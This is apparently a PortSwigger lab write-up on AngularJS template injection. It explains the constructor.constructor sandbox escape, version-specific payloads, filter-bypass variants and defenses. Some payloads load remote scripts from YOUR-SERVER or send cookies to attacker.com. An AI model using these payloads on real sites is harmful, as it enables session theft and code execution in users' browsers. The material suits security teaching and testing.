PortSwigger — 2025.11.26

AngularJS Template Injection: constructor.constructor Sandbox Escape

PortSwigger Client-side template injection (AngularJS) medium

Overview

Angular Template Injection (also called Angular Expression Injection) occurs when user input is rendered within Angular’s template expressions {{}} without proper sanitization. This vulnerability allows attackers to execute arbitrary JavaScript code through Angular’s expression evaluation.

The Vulnerability

If an application renders user input like this:

<h1>{{user_input}}</h1>

And the input isn’t sanitized, you can inject Angular expressions that get evaluated by the framework.

Critical Requirement: ng-app

IMPORTANT: The ng-app directive MUST be present for Angular injection to work.

With ng-app (Vulnerable)

<body ng-app>
    <h1>{{constructor.constructor('alert(1)')()}}</h1>
</body>

Result: Angular bootstraps, evaluates the expression, and executes alert(1)

Without ng-app (Not Vulnerable to Angular Injection)

<body>
    <h1>{{constructor.constructor('alert(1)')()}}</h1>
</body>

Result: The literal text is displayed - Angular doesn’t initialize, so no code execution

Testing for Angular

Before exploiting, verify Angular is active:

Test payload: {{1+1}}

  • If it shows 2 -> Angular is active and evaluating expressions
  • If it shows {{1+1}} -> No Angular, injection won’t work

Check for ng-app in source:

<html ng-app>
<body ng-app>
<div ng-app="myApp">

Browser console check:

angular.version  // Shows version if Angular is active

The constructor.constructor Attack

This is the most common sandbox escape technique for Angular 1.2+.

Understanding the Chain

Every JavaScript object has a constructor property pointing to the function that created it:

"hello".constructor === String        // true
[].constructor === Array              // true
({}).constructor === Object           // true

When you access .constructor on a function, you get the Function constructor:

String.constructor === Function       // true
Array.constructor === Function        // true
Object.constructor === Function       // true

The Full Exploitation Chain

{{constructor.constructor('alert(1)')()}}

Step-by-step breakdown:

  1. constructor -> Angular’s scope object constructor (usually Object)
  2. .constructor -> Object.constructor -> Function constructor
  3. ('alert(1)') -> Creates a new function with code alert(1)
  4. () -> Executes that function immediately

This is equivalent to:

var scope = {};                              // Angular scope
var ObjectConstructor = scope.constructor;   // Object
var FunctionConstructor = ObjectConstructor.constructor; // Function
var maliciousFunc = FunctionConstructor('alert(1)');     // Create function
maliciousFunc();                             // Execute it

Why This Bypasses Angular’s Sandbox

Angular 1.x tried to block dangerous operations by:

  • Blacklisting window, document, eval
  • Restricting property access
  • Parsing expressions to block dangerous patterns

But they missed constructor.constructor because:

  • constructor is a legitimate property used everywhere in JavaScript
  • The chain abuse wasn’t anticipated
  • It’s nearly impossible to distinguish legitimate from malicious use

Payloads by Angular Version

AngularJS 1.0.x - 1.1.5 (Ancient)

{{constructor.constructor('alert(1)')()}}

Or even simpler (no sandbox yet):

{{alert(1)}}

AngularJS 1.2.x - 1.5.x (Common in CTFs)

Basic sandbox escape:

{{constructor.constructor('alert(1)')()}}

Alternative constructor access:

{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}}

Using array methods:

{{[].pop.constructor('alert(1)')()}}

Explanation: [].pop is a Function, so .constructor gives us Function constructor

AngularJS 1.6+ (Stricter Sandbox)

{{constructor.constructor('alert(1)')()}}
{{[].pop.constructor('alert(1)')()}}

Angular 2+ (Modern)

Angular 2+ has much better protection:

  • Removed the expression sandbox entirely (it was insecure)
  • Requires template compilation (no runtime eval)
  • Proper sanitization by default
  • Content Security Policy enforcement

Most DOM XSS vectors are blocked unless there’s a specific vulnerability in the application code.

Top CTF Payloads (In Order of Reliability)

1. Most Reliable for AngularJS 1.2+

{{constructor.constructor('alert(1)')()}}

2. If constructor is Filtered

{{[].pop.constructor('alert(1)')()}}

3. With Function Name Stored First

{{x=constructor.constructor('alert(1)');x()}}

4. Using toString Manipulation

{{''.constructor.prototype.charAt=[].join;$eval('x=alert(1)')}}

5. For Calling print() from CTF

{{constructor.constructor('print()')()}}

6. Loading Remote print() Function

{{constructor.constructor('fetch("//YOUR-SERVER/exploit.js").then(r=>r.text()).then(eval)')()}}

Or using script element creation:

{{constructor.constructor('var s=document.createElement("script");s.src="//YOUR-SERVER/exploit.js";document.body.appendChild(s)')()}}

Filter Bypass Techniques

Bypassing “constructor” Blacklist

Using bracket notation:

{{['constructor']['constructor']('alert(1)')()}}

Using string concatenation:

{{this['cons'+'tructor']['cons'+'tructor']('alert(1)')()}}

Unicode escaping:

{{\u0063onstructor.constructor('alert(1)')()}}

Breaking Out of Quotes

If your input is inside quotes:

'}}{{constructor.constructor('alert(1)')()}}{{'

Multi-Stage Execution

{{x='alert';constructor.constructor(x+'(1)')()}}

URL Encoding

If needed for GET parameters:

%7B%7Bconstructor.constructor('alert(1)')()%7D%7D

Common CTF Patterns

Pattern 1: Direct Injection in URL

URL: https://site.com/search?q={{constructor.constructor('alert(1)')()}}
Renders: <h1>{{constructor.constructor('alert(1)')()}}</h1>

Pattern 2: Reflection in Template

<body ng-app>
    <h1>Welcome {{username}}!</h1>
</body>

Payload: {{constructor.constructor('alert(1)')()}}

Pattern 3: Stored XSS in Angular App

Submit payload in a form field that gets stored and later rendered:

{{constructor.constructor('document.location="http://attacker.com/?c="+document.cookie')()}}

Why Sandboxing JavaScript is Nearly Impossible

This attack demonstrates fundamental challenges:

  1. Prototype chains are core to JavaScript - You can’t remove them
  2. Can’t easily block legitimate property access - constructor is used everywhere
  3. Countless ways to reach dangerous constructors - String, Array, Object, Function all lead to Function constructor
  4. JavaScript is too dynamic - Property access can be computed, concatenated, unicode-escaped, etc.

The lesson: Don’t try to sandbox JavaScript. Properly escape and sanitize output instead.

Detection and Verification

Step 1: Detect Angular

Look for:

  • ng-app directive in HTML
  • ng-controller, ng-model, etc.
  • {{}} expressions in source
  • Angular libraries in <script> tags

Step 2: Test Basic Expression

{{1+1}}

Should render as 2 if Angular is active.

Step 3: Test Constructor Access

{{constructor}}

If this displays [object Object] or similar, constructor access works.

Step 4: Escalate to Code Execution

{{constructor.constructor('alert(1)')()}}

Real-World Example

Vulnerable application:

<!DOCTYPE html>
<html ng-app>
<head>
    <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.9/angular.min.js"></script>
</head>
<body>
    <h1>Search Results for: {{searchQuery}}</h1>
</body>
</html>

Attack:

GET /search?q={{constructor.constructor('alert(document.domain)')()}}

Result: Alert box showing the domain name

Alternative Payload Chains

All of these reach the Function constructor:

// Using strings
{{''.constructor.constructor('alert(1)')()}}

// Using arrays
{{[].constructor.constructor('alert(1)')()}}

// Using objects
{{({}).constructor.constructor('alert(1)')()}}

// Using pop method
{{[].pop.constructor('alert(1)')()}}

// Using join method
{{[].join.constructor('alert(1)')()}}

// Using slice method
{{''.slice.constructor('alert(1)')()}}

Defense and Prevention

For Developers

  1. Never render user input in Angular templates without sanitization
  2. Use Angular 2+ which has better built-in protections
  3. Implement Content Security Policy (CSP) to block inline script execution
  4. Sanitize all user input before rendering
  5. Use Angular’s built-in sanitization ($sanitize service)
  6. Avoid dynamic template compilation with user input

For Pentesters

  1. Always check for ng-app directive first
  2. Test with {{1+1}} to verify Angular is active
  3. Start with basic constructor.constructor payload
  4. If blocked, try alternative chains ([].pop.constructor, etc.)
  5. Use encoding and concatenation for filter bypasses
  6. Document the Angular version for your report

Key Takeaways

  1. ng-app is required - Without it, Angular doesn’t bootstrap and injections fail
  2. constructor.constructor is the key - It gives access to Function constructor
  3. Sandbox escapes are necessary - Angular 1.2+ blocks direct dangerous functions
  4. Multiple chains exist - If one is blocked, try alternative property chains
  5. Modern Angular is safer - Angular 2+ removed the sandbox and improved security
  6. Proper sanitization is essential - Sandboxing JavaScript is nearly impossible
#xss #angularjs #template-injection #sandbox-escape #portswigger #webapp